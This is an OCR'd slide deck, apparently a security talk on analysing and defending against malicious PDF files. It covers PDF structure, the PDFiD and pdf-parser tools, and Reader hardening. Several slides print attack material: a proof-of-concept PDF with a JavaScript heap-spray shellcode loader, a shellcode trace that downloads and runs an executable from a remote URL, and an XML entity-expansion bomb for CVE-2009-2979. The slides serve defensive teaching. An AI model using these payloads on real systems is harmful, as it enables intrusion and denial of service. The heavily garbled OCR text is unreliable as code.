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Hello World s



to close. We are sorry for the inconvenience.

might be lozt.

Please tell Microzoft about thiz problem.

We have created an error report that pou can send to uz. e will treat
this report az confidential and anonyrmous.,

To zee what data thiz error report containg, click here.

Send Error Report

Adobe Beader 9.1 has encountered a problem and needs

[f you were in the middle of something, the infarmation you were working an

Don't Send
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Identification and Analysis




$PDF-1.1
1 0 obj
<<

/Type /Catalog
/outlines 2 0 R
/Pages 3 0 R

>>

endob]

2 0 obj

<<
/Type /Outlines
/Count 0

>

endob]

3 0 obj

<<
/Type /[Pages
/Fids [4 0 R]
/Count 1

>

endob]

4 0 obj
<<

/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources
<< [ProcSet 6 0 R

JFont << /F1 7 0 R >>

dword ptr [eb,
- eax, fs:dword_.W
ou eax, [eax+8Ch]
esi, [eax+1Ch]

“Mmov ebx, [eax+g]
[ebp-14h], ebx

endstream
endob’j

6 0 obj
[/PDF /Text]
endobj

7 0 obj

<<
/Type /Font
/Subtype /Typel
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>
endob’j

xref

0 8

0000000000 65535
0000000012 00000
0000000089 00000
0000000145 00000
0000000214 00000
0000000381 00000
0000000485 00000
0000000518 00000
trailer

<<

/8ize 8

/Root 1 0 R

=== = = B = -

startxref
642
% %EOQF
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PDFID

PDFiD 0.0.9 hello-world.
PDF Header: %PDF-1.1
obj
endob]j
stream
endstream
xref
trailer
startxref
/Page
/Encrypt
/ObjStm
/JS
/JavaScript
/AA
/OpenAction
/AcroForm
/JBIG2Decode
/RichMedia
/Colors > 2724
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/Name Obfuscation

/JavaScript <«<——> J#61vaScript



PDFID Demo

B ChWindows\system32\cmd.exe |ﬂ|ﬁ'—J

C:\Usersitestuserl>pdfid.py 667/53cadch8bd537ats50f2ae92d?627b. pdf . vir

PDFiD 0.8.9 66753cadch8bdo3/atsff2ae92d62?b. pdf .vir
PDF Header: #%PDF-1.5
obj
endob ]
stream
endstream
xref
trailer
startxref
/Page
/Encrypt
F0bjStm
/JS
/JavaScript
/AA
/0penfAction
/AcrofForm
/JBIG2Decode
/RichMedia
/Colors > 2724

HFESoD Do @DMNOW P CDOD

C:\Users\testuserl>
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http://www.Virustotal.com

VI RU S Virustotal is a service that analyzes suspicious

files and facilitates the quick detection of viruses,

T TAL worms, trojans, and all kinds of malware detected
o by antivirus engines. More information...

File pidief-uo.pdf1 received on 2009.10.16 13:37:21 (UTC)
Current status: finished
Result: 25/41 (60.98%)

v@« Compact Print results &
Antivirus Version Last Update Result

a-sguared 4.5.0.41 2009.10.1¢ Explcoit.Win3Z2.Pidief!IE
2hnTab-Vv3 5.0.0.2 2009.10.1¢6¢ PDF/CVE-200%-345%9

Antivir 7.9.1.35 2009.10.16 EXP/Pidief.xam

Antiy—-AVL 2.0.3.7 2009.10.16 -

Authentium 5.1.2.4 2002.10.16 -

Avast 4.8.1351.0 2009.10.14 -

o e W e e e R N W N I
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A MDE ot B TS 3R AR i, e AL O b €O rn o e ST e T
SHA1 : 67£83d6c01b00aa550da520a85cdbafd85£chb735
SHA256: 85061d4c1d701lec79da428a31cb8186c8d58b03568c6bleb4d42felectTbe67a

TrID : File type identification
Zdobe Portable Document Format (100.0%)

ssdeep: 3072:I00MJIFc2xYaZbUBhgSEWER4EDeInnnnnnn/D: IM{cZ2xYr¥4Bbnnn7
PEiLiD S

PDFiD : PDF Header: %PDF-1.5
obj 76

endob] 76
stream 8
endstream B
xref 4

trailer 4
startxref 3
/Page 2
/Encrypt 0
/ObjStm 0

/Js 2
/JavaScript 4
/BR O
/OpenAction 0
/JBIG2Decode 0
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http://blog.rootshell.be

PDFiD Integration with Nautilus

Encrypt...

Sign
@ Create Archive...
&= Send To...

- scan with PDRD

&

& Properties
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0 0 R].endobj.14
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$PDF-1.1
1 0 obj
<<

/Type /Catalog
Joutlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
51
endobj

2 0 obj

<<
/Type /Outlines
JCcount 0

s

endob’j

3 0 obj

<<
/Type /Pages
/Kid=s [4 0 R]
/Count 1

-S4

endobkj

4 0 obj

PoC Pure ASCII PDF

<< /Subtype /Typel Var num =
/Type /Page /Name /F1 12999999999999999999888
/Parent 3 0 R /BaseFont /Helvetica B8...;
J/MediaBox [0 0 612 /Encoding util . printf ("%45000£",
7592] /MacRomanEncoding num) ;
JContents 5 0 R S )
/Resources << endob]j >
/ProcsSet endobj
[/PDF /Text] 7 0 obj
/Font << xref
<< /F1 6 0 R >> /Type /Action 0 8
>> /5 /Javascript 0000000000 65535 £
> /IS5 (var shellcode = 0000000012 Q0000 n
endobj unescape ("$u00E8%u0000% 000000010% 00000 n
uSB00%uB38D%uO01lBB. ..") ; 0000000165 00000 n
5 0 obj var NOPs = 0000000234 00000 n
<< /Length 56 >> unescape ("%us0%0") ; 0000000439 00000 n
stream while (NOPs.length < 0000000553 00000 n
BT /F1 12 Tf 100 700 Td Ox60000) 0000000677 00000 n
15 TL (JavaScript NOP= += NOP=; trailer
example) T3 ET var blocks = new <<
end=stream Array(); /size B
endobj for (i = 0; i < 1200; /Root 1 0 R
i++) >
6 0 cbj blocks[i] = NOPs + startxref
<< shellcode; 3088
/Type /Font $SEQF
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pdf-parser Demo

B ChWindows\system32\cmd.exe |ﬂ|—a_§-'J

1, * ), (3, 'R’), (2, "/URLS'), (1, °
). (3, R, (2, >>7), (1, "Ar')]

<<
JIDS 29 B R
/JavaScript 34 0 R
FURLS 30 0 R

>

obyj 35 0
Tupe:
Referencing: 36 B R
Bl N5k 02y s B2 CAIST ) Bk U P B8 A6 L Ak Y U &
), (3, 'R, (2, °/S7), (2, /JavaScript’), (2, "»>>7), (1, '\r’)

<<
/JS 36 B R

/S /JavaScript
>

3, '@"), (1,
]

C:\Users\testuserl>
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Protection




Foxit Reader

(B Foxit Reader 3.0 ==] % |

File  Edit Miew Language Document Tools Advanced Window Help
Cool Foxit Taolbar

Welcome to Foxit Reader

Open a PDF file OnDemandCM
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Sumatra PDF

fii# SumatraPDF SN

File View GeoeTo Zoom Language Help

Find: Page:

Sumatra PDF "= "°°

programming | Krzysztof Kowalczyk
pdf rendering | MuPDF
website | httpiiblog.kowalczyk.info/software/sumatrapdf

forums | httpiiblog.kowalczyk.info/forum_sumatra
pragram icon | Zenon
toolparicons | Mark James

translations | The Translators
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Know Your Enemy ...

Internet

.-

‘ Open PDF I—h Exec JS —)‘ Exploit JS I—) ‘ Shellcode | -3 | Exec trojan

Internet

—

. 4
| Open PDF I—}‘ Exploit PDF Iﬁ ‘ Shellcode I -3 | Exec trojan
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Disable JavaScript?

Adobe Reader, E|

This document contains JavasScripts, Do you wank ko enable Jawvascripts From
x.._*\I/' now on? The document may not behave correctly i they're disabled.

[ |Don't show this message again unkil this dacument is reopened

Yes | | Mo
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Find His Achilles Heel

env w32 hook GetSystemDirectoryA

env_w32 hook URLDownloadToFileA
http //new1phoneforum com/tds/getexe.php?h=31

-> c¢:\WINDOWS\system32\a.exe

env _ w32 hook WinExec
WinExec c: \WINDOWS\systemBZ\a exe
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Access Tokens

Eroup Flags
MT AUTHORI T Authenticated Users b andatary
#P-01hMHone b andatary
BUILTIM &dminiztrators Dwner
BUILTIMN ] zers b andatary
MT AUTHORITYSMTERACT IVE b andatorny
< >

Eroup Flags
LOCAL t andatary
MT AUTHORI T Authenticated Users b andatary
#P-01hMHone b andatary
BUILTIM ) zers b andatary
T AUTHORITYSMTERACTIVE b andatarny
< >

Group Flagz
HT AUTHORITY &uthenticated Users b andatony
=P-01\Mone b andatory
BUILTIM\&drministratars Deny, Dwn
BUILTIM ) zers k andatary
MT AUTHORITYSNTERACTIVE M andatan
< >

Frivilege
SeBackupFriviege
SeChangeM atifpPriviegs
SeCreatellobalPriviege
SeCreatePagefiePrivilege
SelebugPrivilege
SelmperzonatePrivilege

Flags
Dizabled
Default Enabled
Default Enabled
Dizabled
Dizabled
Default Enabled

Selncreasel azeProntyPrivilege  Dizabled

SelncreaselluctaPriviege

Cal A=Al riuarPrivilass

Frivilege
SeChangeM atifpPriviegs
SeCreatellobalPriviege
SeShutdownPrivilege
SellndockPriviege

Frivilege
SeChangeM otifuPrivilege

Didier@DidierStevens.com

Dizabled
Emzhlad

Flags
Default Enabled
Default Enabled
Dizabled
Enabled

Flagz
Default Enabled



Use Restricted Tokens

* Windows >= Vista + UAC
* DropMyRights

o StripMyRights

« SAFER SRP
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Restricted Token in Action

= Process Monitor, - Sysinternals: www.sysinternals.com

File Edit Ewent Fiker Taools Options Help

SH ABE | YASG AN | (2B 4oMW

Time of ... Process Name PID Operation Path
0:32:46,16... BAcroRd32.exe 2268 QrProcess Start
0:34:38,14... B AcroRd32.exe 2268 QProcess Create CANWINDOWS'isystemn32il.exe
0:34:38,14... T1l.exe 3416 S¥Process Start
0:34:58,90... BAcroRd32.exe 2268 QProcess Exit

&/ Process Monitor - Sysinternals: www. sysinternals.com
File Edit Ewent Filker Tools Options Help

=H | RBE | CAS #A5 [ 4y

Time of ... Process Name PID Operation Path
22:07:17,5... Bcmd.exe 3416 &Process Create C\MyDirs\dmr'DropMyRights.exe

22:07:17,5... TIDropMyRights.exe 536 &iProcess Start
22:07:17,6... TIDropMyRights.exe 536 @fProcess Create C'Program FilesiAdobe'Reader 8.0%

22:07:17.6... BAcroRd32.exe 2200 &¥Process Start
22:07:17.6... TIDropMyRights.exe 536 &Process Exit
22:09:19.9... BAcroRd32.exe 2200 QProcess Exit
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Disclosure CVE-2009-2979

This update resolves a XMP-XML entity expansion issue that could lead to a Denial
of Service (DoS) attack (CVE-2009-2979).
NOTE: this issue 1s resolved in the Adobe Reader and Actobat 9.2 and 8.1.7 updates.
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XML-Bomb in Metadata

e

stream

<IDOCTYPE ¥B [<!ENTITY e0 "A"><IENTITY el "&e0; &e0;"><IENTITY e2 "&el &el ">...]>
<?xpacket begin="" id=""2>

<y:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 4.0-c31l¢c 44.253%21, Sun
17:14:35">
<rdf:RDF xmlns:rdf="http://www.w3.0rg/19%%/02/22-rdf-syntax-ns#">

<rdf:Description rdf:about="" zmlns:dc="http://purl.ocrg/dc/elements/1.1/">
<dc:title>
<rdf:Alt>
<rdf:11 xml:lang="x-default">&e10000;</rdf:1i>
</rdf:nlt>

</dc:title>
</rdf:Description>
</rdf:RDF>
</® :xmpmeta>
<?xpacket end=""7%>
endstream
endobj
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Questions?

And hopefully some answers...
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Thank you

http://blog.DidierStevens.com
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